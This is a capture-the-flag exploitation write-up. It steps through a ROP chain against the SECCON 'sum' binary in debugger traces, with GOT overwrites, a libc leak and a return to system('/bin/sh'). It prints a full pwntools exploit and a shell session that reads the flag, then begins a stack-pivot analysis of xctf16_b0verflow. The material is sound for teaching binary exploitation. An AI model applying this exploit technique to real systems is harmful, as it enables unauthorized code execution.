Program received signal SIGALRM, Alarm clock.
[ Legend: Modified register | Code | Heap | Stack | String ]
```

```
registers ────
$rax   : 0x0
$rbx   : 0x0
$rcx   : 0x0
$rdx   : 0x20
$rsp   : 0x00007ffcc5e05900  →  0x0000000000400a43  →  <__libc_csu_init+99> pop
rdi
$rbp   : 0x00007ffcc5e05940  →  0x00007ffcc5e05990  →  0x00007ffcc5e059e0  →
0x00000000004009e0  →  <__libc_csu_init+0> push r15
$rsi   : 0x1202a02
$rdi   : 0x00000000004009c4  →  <main+193> mov eax, 0x0
$rip   : 0x0000000000400a44  →  <__libc_csu_init+100> ret
$r8    : 0x0
```

```
$r9    : 0x0
$r10   : 0x00007fc390381cc0  →  0x0002000200020002
$r11   : 0x0000000000400a6c  →   add BYTE PTR [rax], al
$r12   : 0x0000000000400670  →  <_start+0> xor ebp, ebp
$r13   : 0x00007ffcc5e05ac0  →  0x0000000000000001
$r14   : 0x0
$r15   : 0x0
$eflags: [zero CARRY PARITY ADJUST SIGN trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
─────────────────────────────────────────────────────────────────────────────────
stack ────
0x00007ffcc5e05900│+0x0000: 0x0000000000400a43  →  <__libc_csu_init+99> pop rdi
← $rsp
0x00007ffcc5e05908│+0x0008: 0x0000000000601018  →  0x00007fc3902639c0  →
<puts+0> push r13
0x00007ffcc5e05910│+0x0010: 0x0000000000400600  →  <puts@plt+0> jmp QWORD PTR
[rip+0x200a12]        # 0x601018
0x00007ffcc5e05918│+0x0018: 0x00000000004009a7  →  <main+164> call 0x400660
<exit@plt>
0x00007ffcc5e05920│+0x0020: 0x0000000000000000
0x00007ffcc5e05928│+0x0028: 0x00007ffcc5e05930  →  0x0000000001202a02
0x00007ffcc5e05930│+0x0030: 0x0000000001202a02
0x00007ffcc5e05938│+0x0038: 0x791fd3bfbdbc2c00
─────────────────────────────────────────────────────────────────────────────────
code:x86:64 ────
     0x400a3e <__libc_csu_init+94> pop    r13
     0x400a40 <__libc_csu_init+96> pop    r14
     0x400a42 <__libc_csu_init+98> pop    r15
 →   0x400a44 <__libc_csu_init+100> ret
   ↳    0x400a43 <__libc_csu_init+99> pop    rdi
        0x400a44 <__libc_csu_init+100> ret
        0x400a45                  nop
        0x400a46                  nop    WORD PTR cs:[rax+rax*1+0x0]
        0x400a50 <__libc_csu_fini+0> repz   ret
        0x400a52                  add    BYTE PTR [rax], al
─────────────────────────────────────────────────────────────────────────────────
threads ────
[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: SINGLE STEP
─────────────────────────────────────────────────────────────────────────────────
trace ────
[#0] 0x400a44 → __libc_csu_init()
[#1] 0x400a43 → __libc_csu_init()
[#2] 0x400600 → jmp QWORD PTR [rip+0x200a12]        # 0x601018
[#3] 0x7ffcc5e05930 → add ch, BYTE PTR [rdx]
─────────────────────────────────────────────────────────────────────────────────
0x0000000000400a44 in __libc_csu_init ()
gef➤  s
```

Next we execute the infoleak by popping the got address of puts into the rdi register:

```
stack ────
0x00007ffcc5e05908│+0x0000: 0x0000000000601018  →  0x00007fc3902639c0  →
<puts+0> push r13     ← $rsp
0x00007ffcc5e05910│+0x0008: 0x0000000000400600  →  <puts@plt+0> jmp QWORD PTR
[rip+0x200a12]        # 0x601018
0x00007ffcc5e05918│+0x0010: 0x00000000004009a7  →  <main+164> call 0x400660
<exit@plt>
0x00007ffcc5e05920│+0x0018: 0x0000000000000000
0x00007ffcc5e05928│+0x0020: 0x00007ffcc5e05930  →  0x0000000001202a02
0x00007ffcc5e05930│+0x0028: 0x0000000001202a02
0x00007ffcc5e05938│+0x0030: 0x791fd3bfbdbc2c00
0x00007ffcc5e05940│+0x0038: 0x00007ffcc5e05990  →  0x00007ffcc5e059e0  →
0x00000000004009e0  →  <__libc_csu_init+0> push r15     ← $rbp
```

```
code:x86:64 ────
 →   0x400a43 <__libc_csu_init+99> pop    rdi
     0x400a44 <__libc_csu_init+100> ret
     0x400a45                  nop
     0x400a46                  nop    WORD PTR cs:[rax+rax*1+0x0]
     0x400a50 <__libc_csu_fini+0> repz   ret
     0x400a52                  add    BYTE PTR [rax], al
```

```
threads ────
[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: SINGLE STEP
```

```
trace ────
[#0] 0x400a43 → __libc_csu_init()
[#1] 0x400600 → jmp QWORD PTR [rip+0x200a12]        # 0x601018
[#2] 0x7ffcc5e05930 → add ch, BYTE PTR [rdx]
```

```
0x0000000000400a43 in __libc_csu_init ()
gef➤  s
[ Legend: Modified register | Code | Heap | Stack | String ]
```

```
registers ────
$rax   : 0x0
$rbx   : 0x0
$rcx   : 0x0
$rdx   : 0x20
$rsp   : 0x00007ffcc5e05910  →  0x0000000000400600  →  <puts@plt+0> jmp QWORD
PTR [rip+0x200a12]        # 0x601018
$rbp   : 0x00007ffcc5e05940  →  0x00007ffcc5e05990  →  0x00007ffcc5e059e0  →
0x00000000004009e0  →  <__libc_csu_init+0> push r15
$rsi   : 0x1202a02
$rdi   : 0x0000000000601018  →  0x00007fc3902639c0  →  <puts+0> push r13
$rip   : 0x0000000000400a44  →  <__libc_csu_init+100> ret
$r8    : 0x0
$r9    : 0x0
$r10   : 0x00007fc390381cc0  →  0x0002000200020002
$r11   : 0x0000000000400a6c  →   add BYTE PTR [rax], al
$r12   : 0x0000000000400670  →  <_start+0> xor ebp, ebp
```

```
$r13   : 0x00007ffcc5e05ac0  →  0x0000000000000001
$r14   : 0x0
$r15   : 0x0
$eflags: [zero CARRY PARITY ADJUST SIGN trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
```

```
stack ────
0x00007ffcc5e05910│+0x0000: 0x0000000000400600  →  <puts@plt+0> jmp QWORD PTR
[rip+0x200a12]        # 0x601018     ← $rsp
0x00007ffcc5e05918│+0x0008: 0x00000000004009a7  →  <main+164> call 0x400660
<exit@plt>
0x00007ffcc5e05920│+0x0010: 0x0000000000000000
0x00007ffcc5e05928│+0x0018: 0x00007ffcc5e05930  →  0x0000000001202a02
0x00007ffcc5e05930│+0x0020: 0x0000000001202a02
0x00007ffcc5e05938│+0x0028: 0x791fd3bfbdbc2c00
0x00007ffcc5e05940│+0x0030: 0x00007ffcc5e05990  →  0x00007ffcc5e059e0  →
0x00000000004009e0  →  <__libc_csu_init+0> push r15     ← $rbp
0x00007ffcc5e05948│+0x0038: 0x00000000004009ac  →  <main+169> mov rax, QWORD PTR
[rbp-0x10]
```

```
code:x86:64 ────
     0x400a3e <__libc_csu_init+94> pop    r13
     0x400a40 <__libc_csu_init+96> pop    r14
     0x400a42 <__libc_csu_init+98> pop    r15
 →   0x400a44 <__libc_csu_init+100> ret
   ↳    0x400600 <puts@plt+0>     jmp    QWORD PTR [rip+0x200a12]        #
0x601018
        0x400606 <puts@plt+6>     push   0x0
        0x40060b <puts@plt+11>    jmp    0x4005f0
        0x400610 <__stack_chk_fail@plt+0> jmp    QWORD PTR [rip+0x200a0a]
# 0x601020
        0x400616 <__stack_chk_fail@plt+6> push   0x1
        0x40061b <__stack_chk_fail@plt+11> jmp    0x4005f0
```

```
threads ────
[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: SINGLE STEP
```

```
trace ────
[#0] 0x400a44 → __libc_csu_init()
[#1] 0x400600 → jmp QWORD PTR [rip+0x200a12]        # 0x601018
[#2] 0x7ffcc5e05930 → add ch, BYTE PTR [rdx]
```

```
0x0000000000400a44 in __libc_csu_init ()
gef➤  x/g $rdi
0x601018:    0x7fc3902639c0
gef➤  x/5i 0x7fc3902639c0
   0x7fc3902639c0 <puts>:    push   r13
   0x7fc3902639c2 <puts+2>:    push   r12
   0x7fc3902639c4 <puts+4>:    mov    r12,rdi
   0x7fc3902639c7 <puts+7>:    push   rbp
   0x7fc3902639c8 <puts+8>:    push   rbx
```

after that we call `printf` :

```
stack ────
0x00007ffcc5e05918│+0x0000: 0x00000000004009a7  →  <main+164> call 0x400660 <exit@plt>     ← $rsp
0x00007ffcc5e05920│+0x0008: 0x0000000000000000
0x00007ffcc5e05928│+0x0010: 0x00007ffcc5e05930  →  0x0000000001202a02
0x00007ffcc5e05930│+0x0018: 0x0000000001202a02
0x00007ffcc5e05938│+0x0020: 0x791fd3bfbdbc2c00
0x00007ffcc5e05940│+0x0028: 0x00007ffcc5e05990  →  0x00007ffcc5e059e0  →  0x00000000004009e0  →  <__libc_csu_init+0> push r15     ← $rbp
0x00007ffcc5e05948│+0x0030: 0x00000000004009ac  →  <main+169> mov rax, QWORD PTR [rbp-0x10]
0x00007ffcc5e05950│+0x0038: 0x7fffffffffffff
code:x86:64 ────
   0x7fc3902639b2 <popen+130>      jmp    0x7fc39026398d <popen+93>
   0x7fc3902639b4                  nop    WORD PTR cs:[rax+rax*1+0x0]
   0x7fc3902639be                  xchg   ax, ax
 → 0x7fc3902639c0 <puts+0>         push   r13
   0x7fc3902639c2 <puts+2>         push   r12
   0x7fc3902639c4 <puts+4>         mov    r12, rdi
   0x7fc3902639c7 <puts+7>         push   rbp
   0x7fc3902639c8 <puts+8>         push   rbx
   0x7fc3902639c9 <puts+9>         sub    rsp, 0x8
threads ────
[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: SINGLE STEP
trace ────
[#0] 0x7fc3902639c0 → puts()
[#1] 0x4009a7 → main()
0x00007fc3902639c0 in puts () from ./libc.so
gef➤  finish
```

Then we end up at `exit` , which will bring us back to the start of `main` :

```
stack ────
0x00007ffcc5e05920│+0x0000: 0x0000000000000000     ← $rsp
0x00007ffcc5e05928│+0x0008: 0x00007ffcc5e05930  →  0x0000000001202a02
0x00007ffcc5e05930│+0x0010: 0x0000000001202a02
0x00007ffcc5e05938│+0x0018: 0x791fd3bfbdbc2c00
0x00007ffcc5e05940│+0x0020: 0x00007ffcc5e05990  →  0x00007ffcc5e059e0  →
0x00000000004009e0  →  <__libc_csu_init+0> push r15     ← $rbp
0x00007ffcc5e05948│+0x0028: 0x00000000004009ac  →  <main+169> mov rax, QWORD PTR
[rbp-0x10]
0x00007ffcc5e05950│+0x0030: 0x7fffffffffffff
0x00007ffcc5e05958│+0x0038: 0x7ffffffff9fefd7
─────────────────────────────────────────────────────────────────────────────
code:x86:64 ────
     0x40099b <main+152>       (bad)
     0x40099c <main+153>       inc    DWORD PTR [rbx+0xa7e05f8]
     0x4009a2 <main+159>       mov    edi, 0xffffffff
 →   0x4009a7 <main+164>       call   0x400660 <exit@plt>
   ↳    0x400660 <exit@plt+0>     jmp    QWORD PTR [rip+0x2009e2]        #
0x601048
        0x400666 <exit@plt+6>     push   0x6
        0x40066b <exit@plt+11>    jmp    0x4005f0
        0x400670 <_start+0>       xor    ebp, ebp
        0x400672 <_start+2>       mov    r9, rdx
        0x400675 <_start+5>       pop    rsi
─────────────────────────────────────────────────────────────────────────────
arguments (guessed) ────
exit@plt (
   $rdi = 0x0000000000000001,
   $rsi = 0x00007fc3905cf7e3 → 0x5d08c0000000000a,
   $rdx = 0x00007fc3905d08c0 → 0x0000000000000000,
   $rcx = 0x00007fc3902f3154 → 0x5477fffff0003d48 ("H="?)
)
─────────────────────────────────────────────────────────────────────────────
threads ────
[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: BREAKPOINT
─────────────────────────────────────────────────────────────────────────────
trace ────
[#0] 0x4009a7 → main()
─────────────────────────────────────────────────────────────────────────────

Breakpoint 2, 0x00000000004009a7 in main ()
gef➤
```

So now we have a libc infoleak, and a qword write. This is all we need to pwn the code. I initially tried doing a oneshot gadget got overwrite, however none of the conditions were met when it was executed. Then I just did another rop gadget using `printf` again, to just pop the libc address of `/bin/sh` (which we know thanks to the libc infoleak) into the `rdi` register, and then return to system. Let's see the rop chain in action:

First we hit `printf` again:

```
──────────────────────────────────────────────────────────────────────── stack ────
0x00007ffd12150f20│+0x0000: 0x0000000000400a43  →  <__libc_csu_init+99> pop rdi
← $rsp
0x00007ffd12150f28│+0x0008: 0x00007fab33599e9a  →  0x0068732f6e69622f ("/bin
/sh"?)
0x00007ffd12150f30│+0x0010: 0x00007fab33435440  →  <system+0> test rdi, rdi
0x00007ffd12150f38│+0x0018: 0x0000000000000000
0x00007ffd12150f40│+0x0020: 0x0000000000000000
0x00007ffd12150f48│+0x0028: 0x00007ffd12150f50  →  0x0000ff5666dcfd1d
0x00007ffd12150f50│+0x0030: 0x0000ff5666dcfd1d
0x00007ffd12150f58│+0x0038: 0xc21062d171a89f00
────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x4009af <main+172>       lock   mov rsi, rax
     0x4009b3 <main+176>       lea    rdi, [rip+0x11b]        # 0x400ad5
     0x4009ba <main+183>       mov    eax, 0x0
 →   0x4009bf <main+188>       call   0x400620 <printf@plt>
   ↳    0x400620 <printf@plt+0>   jmp    QWORD PTR [rip+0x200a02]        #
0x601028
        0x400626 <printf@plt+6>   push   0x2
        0x40062b <printf@plt+11>  jmp    0x4005f0
        0x400630 <alarm@plt+0>    jmp    QWORD PTR [rip+0x2009fa]        #
0x601030
        0x400636 <alarm@plt+6>    push   0x3
        0x40063b <alarm@plt+11>   jmp    0x4005f0
────────────────────────────────────────────────────────── arguments (guessed) ────
printf@plt (
   $rdi = 0x0000000000400ad5 → 0x0100000a756c6c25 ("%llu"?),
   $rsi = 0x0000ff5666dcfd1d,
   $rdx = 0x0000000000000018,
   $rcx = 0x0000000000000000
)
────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4009bf → main()
───────────────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0x00000000004009bf in main ()
gef➤
```

Then we have the `pop rdi; ret` to rid ourselves of the return address:

```
stack ────
0x00007ffd12150f18│+0x0000: 0x00000000004009c4  →  <main+193> mov eax, 0x0     ←
$rsp
0x00007ffd12150f20│+0x0008: 0x0000000000400a43  →  <__libc_csu_init+99> pop rdi
0x00007ffd12150f28│+0x0010: 0x00007fab33599e9a  →  0x0068732f6e69622f ("/bin
/sh"?)
0x00007ffd12150f30│+0x0018: 0x00007fab33435440  →  <system+0> test rdi, rdi
0x00007ffd12150f38│+0x0020: 0x0000000000000000
0x00007ffd12150f40│+0x0028: 0x0000000000000000
0x00007ffd12150f48│+0x0030: 0x00007ffd12150f50  →  0x0000ff5666dcfd1d
0x00007ffd12150f50│+0x0038: 0x0000ff5666dcfd1d
```

```
code:x86:64 ────
 →   0x400a43 <__libc_csu_init+99> pop    rdi
     0x400a44 <__libc_csu_init+100> ret
     0x400a45                  nop
     0x400a46                  nop    WORD PTR cs:[rax+rax*1+0x0]
     0x400a50 <__libc_csu_fini+0> repz   ret
     0x400a52                  add    BYTE PTR [rax], al
```

```
threads ────
[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: SINGLE STEP
```

```
trace ────
[#0] 0x400a43 → __libc_csu_init()
[#1] 0x400a43 → __libc_csu_init()
[#2] 0x7fab33435440 → test rdi, rdi
```

```
0x0000000000400a43 in __libc_csu_init ()
gef➤  s
[ Legend: Modified register | Code | Heap | Stack | String ]
```

```
registers ────
$rax   : 0x0
$rbx   : 0x0
$rcx   : 0x0
$rdx   : 0x18
$rsp   : 0x00007ffd12150f20  →  0x0000000000400a43  →  <__libc_csu_init+99> pop
rdi
$rbp   : 0x00007ffd12150f60  →  0x00007ffd12150f90  →  0x00007ffd12150fe0  →
0x00007ffd12151030  →  0x00000000004009e0  →  <__libc_csu_init+0> push r15
$rsi   : 0xff5666dcfd1d
$rdi   : 0x00000000004009c4  →  <main+193> mov eax, 0x0
$rip   : 0x0000000000400a44  →  <__libc_csu_init+100> ret
$r8    : 0x0
$r9    : 0x0
$r10   : 0x00007fab33584cc0  →  0x0002000200020002
$r11   : 0x0000000000400a6c  →   add BYTE PTR [rax], al
$r12   : 0x0000000000400670  →  <_start+0> xor ebp, ebp
$r13   : 0x00007ffd12151110  →  0x0000000000000001
$r14   : 0x0
```

```
$r15   : 0x0
$eflags: [zero CARRY parity ADJUST SIGN trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
```

```
stack ────
0x00007ffd12150f20│+0x0000: 0x0000000000400a43  →  <__libc_csu_init+99> pop rdi
← $rsp
0x00007ffd12150f28│+0x0008: 0x00007fab33599e9a  →  0x0068732f6e69622f ("/bin
/sh"?)
0x00007ffd12150f30│+0x0010: 0x00007fab33435440  →  <system+0> test rdi, rdi
0x00007ffd12150f38│+0x0018: 0x0000000000000000
0x00007ffd12150f40│+0x0020: 0x0000000000000000
0x00007ffd12150f48│+0x0028: 0x00007ffd12150f50  →  0x0000ff5666dcfd1d
0x00007ffd12150f50│+0x0030: 0x0000ff5666dcfd1d
0x00007ffd12150f58│+0x0038: 0xc21062d171a89f00
```

```
code:x86:64 ────
     0x400a3e <__libc_csu_init+94> pop    r13
     0x400a40 <__libc_csu_init+96> pop    r14
     0x400a42 <__libc_csu_init+98> pop    r15
 →   0x400a44 <__libc_csu_init+100> ret
   ↳    0x400a43 <__libc_csu_init+99> pop    rdi
        0x400a44 <__libc_csu_init+100> ret
        0x400a45                  nop
        0x400a46                  nop    WORD PTR cs:[rax+rax*1+0x0]
        0x400a50 <__libc_csu_fini+0> repz   ret
        0x400a52                  add    BYTE PTR [rax], al
```

```
threads ────
[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: SINGLE STEP
```

```
trace ────
[#0] 0x400a44 → __libc_csu_init()
[#1] 0x400a43 → __libc_csu_init()
[#2] 0x7fab33435440 → test rdi, rdi
```

```
0x0000000000400a44 in __libc_csu_init ()
gef➤
```

Then we have the rop gadget to through the address of `/bin/sh` into `rdi`, and return to system:

```
stack ────
0x00007ffd12150f28│+0x0000: 0x00007fab33599e9a  →  0x0068732f6e69622f ("/bin
/sh"?)     ← $rsp
0x00007ffd12150f30│+0x0008: 0x00007fab33435440  →  <system+0> test rdi, rdi
0x00007ffd12150f38│+0x0010: 0x0000000000000000
0x00007ffd12150f40│+0x0018: 0x0000000000000000
0x00007ffd12150f48│+0x0020: 0x00007ffd12150f50  →  0x0000ff5666dcfd1d
0x00007ffd12150f50│+0x0028: 0x0000ff5666dcfd1d
0x00007ffd12150f58│+0x0030: 0xc21062d171a89f00
0x00007ffd12150f60│+0x0038: 0x00007ffd12150f90  →  0x00007ffd12150fe0  →
0x00007ffd12151030  →  0x00000000004009e0  →  <__libc_csu_init+0> push r15     ←
$rbp
```

```
code:x86:64 ────
 →   0x400a43 <__libc_csu_init+99> pop    rdi
     0x400a44 <__libc_csu_init+100> ret
     0x400a45                  nop
     0x400a46                  nop    WORD PTR cs:[rax+rax*1+0x0]
     0x400a50 <__libc_csu_fini+0> repz   ret
     0x400a52                  add    BYTE PTR [rax], al
```

```
threads ────
[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: SINGLE STEP
```

```
trace ────
[#0] 0x400a43 → __libc_csu_init()
[#1] 0x7fab33435440 → test rdi, rdi
```

```
0x0000000000400a43 in __libc_csu_init ()
gef➤  s
[ Legend: Modified register | Code | Heap | Stack | String ]
```

```
registers ────
$rax   : 0x0
$rbx   : 0x0
$rcx   : 0x0
$rdx   : 0x18
$rsp   : 0x00007ffd12150f30  →  0x00007fab33435440  →  <system+0> test rdi, rdi
$rbp   : 0x00007ffd12150f60  →  0x00007ffd12150f90  →  0x00007ffd12150fe0  →
0x00007ffd12151030  →  0x00000000004009e0  →  <__libc_csu_init+0> push r15
$rsi   : 0xff5666dcfd1d
$rdi   : 0x00007fab33599e9a  →  0x0068732f6e69622f ("/bin/sh"?)
$rip   : 0x0000000000400a44  →  <__libc_csu_init+100> ret
$r8    : 0x0
$r9    : 0x0
$r10   : 0x00007fab33584cc0  →  0x0002000200020002
$r11   : 0x0000000000400a6c  →   add BYTE PTR [rax], al
$r12   : 0x0000000000400670  →  <_start+0> xor ebp, ebp
$r13   : 0x00007ffd12151110  →  0x0000000000000001
$r14   : 0x0
$r15   : 0x0
```

```
$eflags: [zero CARRY parity ADJUST SIGN trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
─────────────────────────────────────────────────────────────────────────────────
stack ────
0x00007ffd12150f30│+0x0000: 0x00007fab33435440  →  <system+0> test rdi, rdi
← $rsp
0x00007ffd12150f38│+0x0008: 0x0000000000000000
0x00007ffd12150f40│+0x0010: 0x0000000000000000
0x00007ffd12150f48│+0x0018: 0x00007ffd12150f50  →  0x0000ff5666dcfd1d
0x00007ffd12150f50│+0x0020: 0x0000ff5666dcfd1d
0x00007ffd12150f58│+0x0028: 0xc21062d171a89f00
0x00007ffd12150f60│+0x0030: 0x00007ffd12150f90  →  0x00007ffd12150fe0  →
0x00007ffd12151030  →  0x00000000004009e0  →  <__libc_csu_init+0> push r15     ←
$rbp
0x00007ffd12150f68│+0x0038: 0x00000000004009ac  →  <main+169> mov rax, QWORD PTR
[rbp-0x10]
─────────────────────────────────────────────────────────────────────────────────
code:x86:64 ────
     0x400a3e <__libc_csu_init+94> pop    r13
     0x400a40 <__libc_csu_init+96> pop    r14
     0x400a42 <__libc_csu_init+98> pop    r15
 →   0x400a44 <__libc_csu_init+100> ret
   ↳  0x7fab33435440 <system+0>       test   rdi, rdi
      0x7fab33435443 <system+3>       je     0x7fab33435450 <system+16>
      0x7fab33435445 <system+5>       jmp    0x7fab33434eb0
      0x7fab3343544a <system+10>      nop    WORD PTR [rax+rax*1+0x0]
      0x7fab33435450 <system+16>      lea    rdi, [rip+0x164a4b]        #
0x7fab33599ea2
      0x7fab33435457 <system+23>      sub    rsp, 0x8
─────────────────────────────────────────────────────────────────────────────────
threads ────
[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: SINGLE STEP
─────────────────────────────────────────────────────────────────────────────────
trace ────
[#0] 0x400a44 → __libc_csu_init()
[#1] 0x7fab33435440 → test rdi, rdi
─────────────────────────────────────────────────────────────────────────────────
0x0000000000400a44 in __libc_csu_init ()
gef➤  x/s $rdi
0x7fab33599e9a:    "/bin/sh"
gef➤
```

Exploit

Putting it all together, we have the following exploit:

```
from pwn import *

# Establish the target
#target = remote("sum.chal.seccon.jp", 10001)
target = process('sum_ccafa40ee6a5a675341787636292bf3c84d17264',
env={"LD_PRELOAD":"./libc.so"})
#gdb.attach(target, gdbscript='b *0x4009bf\nb *0x4009a7')

# Establish the libc / binary files
elf = ELF('sum_ccafa40ee6a5a675341787636292bf3c84d17264')
libc = ELF("libc.so")

# Establish some needed addresses
main = elf.symbols['main']

popRdi = 0x400a43


# A function to handle the qword writes
def write(adr, value):
    target.sendline("9223372036854775807")
    target.sendline(str(0x7fffffffffffffff - adr))
    target.sendline("1")
    target.sendline("1")
    target.sendline(str(value))

    target.sendline(str(adr))

# Overwrite got address of exit with the starting address of main
write(elf.got['exit'], main)

# Overwrite got address of printf with popRdi gadget
write(elf.got['printf'], popRdi)

# Rop chain to leak libc via puts(got_puts)
target.sendline(str(popRdi))                # pop rdi to make puts call
target.sendline(str(elf.got['puts']))       # got address of puts, argument to
puts call
target.sendline(str(elf.symbols['puts']))   # plt address of puts
target.sendline(str(0x4009a7))              # address of `call exit`, to bring
us back to start of main
target.sendline("0")                        # 0 to end number sequence


# Scan in output of program, to make it to the infoleak
for i in range(0, 18):
    print target.recvline()

# Scan in and parse out infoleak, figure out where libc base is
leak = target.recvline().strip("\n")
leak = u64(leak + "\x00"*(8 - len(leak)))
base = leak - libc.symbols["puts"]
```

```
print "base is: " + hex(base)

# Rop chain to call system("/bin/sh")
target.sendline(str(popRdi))                          # pop rdi to make system
call
target.sendline(str(base + 0x1b3e9a))                 # binsh libc address
target.sendline(str(base + libc.symbols["system"])) # libc address of system,
which we will return to
target.sendline("0")                                  # 0 to end sequence


target.interactive()
```

When we run it:

```
$    python exploit.py
[+] Opening connection to sum.chal.seccon.jp on port 10001: Done
[*] '/home/guyinatuxedo/Desktop/seccon
/sum/sum_ccafa40ee6a5a675341787636292bf3c84d17264'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/guyinatuxedo/Desktop/seccon/sum/libc.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[sum system]

Input numbers except for 0.

0 is interpreted as the end of sequence.



[Example]

2 3 4 0

[sum system]

Input numbers except for 0.

0 is interpreted as the end of sequence.



[Example]

2 3 4 0

[sum system]

Input numbers except for 0.

0 is interpreted as the end of sequence.



[Example]

2 3 4 0

base is: 0x7f796623c000
```

```
[*] Switching to interactive mode
[sum system]
Input numbers except for 0.
0 is interpreted as the end of sequence.

[Example]
2 3 4 0
$ w
 20:42:25 up 18:10,  0 users,  load average: 0.02, 0.01, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
$ ls
bin
boot
dev
etc
flag.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sum
sys
tmp
usr
var
$ cat flag.txt
SECCON{ret_call_call_ret??_ret_ret_ret........shell!}
$
```

Just like that, we pwned the challenge!

xctf16_b0verflow

Let's take a look at the binary:

```
$    file b0verflow
b0verflow: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically
linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24,
BuildID[sha1]=9f2d9dc0c9cc531c9656e6e84359398dd765b684, not stripped
$     pwn checksec b0verflow
[*] '/Hackery/pod/modules/stack_pivot/xctf16_b0verflow/b0verflow'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
$    ./b0verflow

======================

Welcome to X-CTF 2016!

======================
What's your name?
guyinatuxedo
Hello guyinatuxedo
```

So we can see that we are dealing with a `32` bit dynamically linked binary, with none of the standard mitigations (and has memory segments with `rwx` permissions). When we run it, it prompts us for input, and prints it back to us.

Reversing

When we take a look at the main function in Ghidra, we see this:

```
void main(void)

{
  vul();
  return;
}
```

So we can see that it essentially just calls the `vul` function, which does this:

```
undefined4 vul(void)

{
  char vulnBuf [32];

  puts("\n======================");
  puts("\nWelcome to X-CTF 2016!");
  puts("\n======================");
  puts("What\'s your name?");
  fflush(stdout);
  fgets(vulnBuf,0x32,stdin);
  printf("Hello %s.",vulnBuf);
  fflush(stdout);
  return 1;
}
```

So we can see that it prints out some text. Then it scans `0x32` (`50`) bytes worth of data into a `32` byte buffer, giving us an `18` byte buffer overflow. Proceeding that the function returns.

Stack Pivot Exploit

So we can overwrite the return address (seeing where the start of our input is in comparison to the saved return address is, we can see that the offset is `0x24` bytes since `0xffffd11c - 0xffffd0f8 = 0x24`):

```
gef➤  b *0x804857a
Breakpoint 1 at 0x804857a
gef➤  r
Starting program: /Hackery/pod/modules/stack_pivot/xctf16_b0verflow/b0verflow

======================

Welcome to X-CTF 2016!

======================
What's your name?
15935728

Breakpoint 1, 0x0804857a in vul ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────── registers ────
$eax   : 0xffffd0f8  →  "15935728"
$ebx   : 0x0
$ecx   : 0xf7fb601c  →  0x00000000
$edx   : 0xffffd0f8  →  "15935728"
$esp   : 0xffffd0e0  →  0xffffd0f8  →  "15935728"
$ebp   : 0xffffd118  →  0xffffd128  →  0x00000000
$esi   : 0xf7fb4000  →  0x001dbd6c
$edi   : 0xf7fb4000  →  0x001dbd6c
$eip   : 0x0804857a  →  <vul+95> lea eax, [ebp-0x20]
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
──────────────────────────────────────────────────────────────────── stack ────
0xffffd0e0│+0x0000: 0xffffd0f8  →  "15935728"     ← $esp
0xffffd0e4│+0x0004: 0x00000032 ("2"?)
0xffffd0e8│+0x0008: 0xf7fb45c0  →  0xfbad2288
0xffffd0ec│+0x000c: 0x08048369  →  <_init+9> add ebx, 0x1c97
0xffffd0f0│+0x0010: 0xf7fb43fc  →  0xf7fb5980  →  0x00000000
0xffffd0f4│+0x0014: 0x00040000
0xffffd0f8│+0x0018: "15935728"
0xffffd0fc│+0x001c: "5728"
────────────────────────────────────────────────────────────── code:x86:32 ────
    0x804856f <vul+84>         lea    eax, [ebp-0x20]
    0x8048572 <vul+87>         mov    DWORD PTR [esp], eax
    0x8048575 <vul+90>         call   0x80483c0 <fgets@plt>
 →  0x804857a <vul+95>         lea    eax, [ebp-0x20]
    0x804857d <vul+98>         mov    DWORD PTR [esp+0x4], eax
    0x8048581 <vul+102>        mov    DWORD PTR [esp], 0x8048682
    0x8048588 <vul+109>        call   0x80483a0 <printf@plt>
    0x804858d <vul+114>        mov    eax, ds:0x804a060
    0x8048592 <vul+119>        mov    DWORD PTR [esp], eax
────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "b0verflow", stopped, reason: BREAKPOINT
──────────────────────────────────────────────────────────────────── trace ────
[#0] 0x804857a → vul()
[#1] 0x8048519 → main()
```

```
gef➤  search-pattern 15935728
[+] Searching '15935728' in memory
[+] In '[heap]'(0x804b000-0x806d000), permission=rwx
  0x804b570 - 0x804b578  →   "15935728"
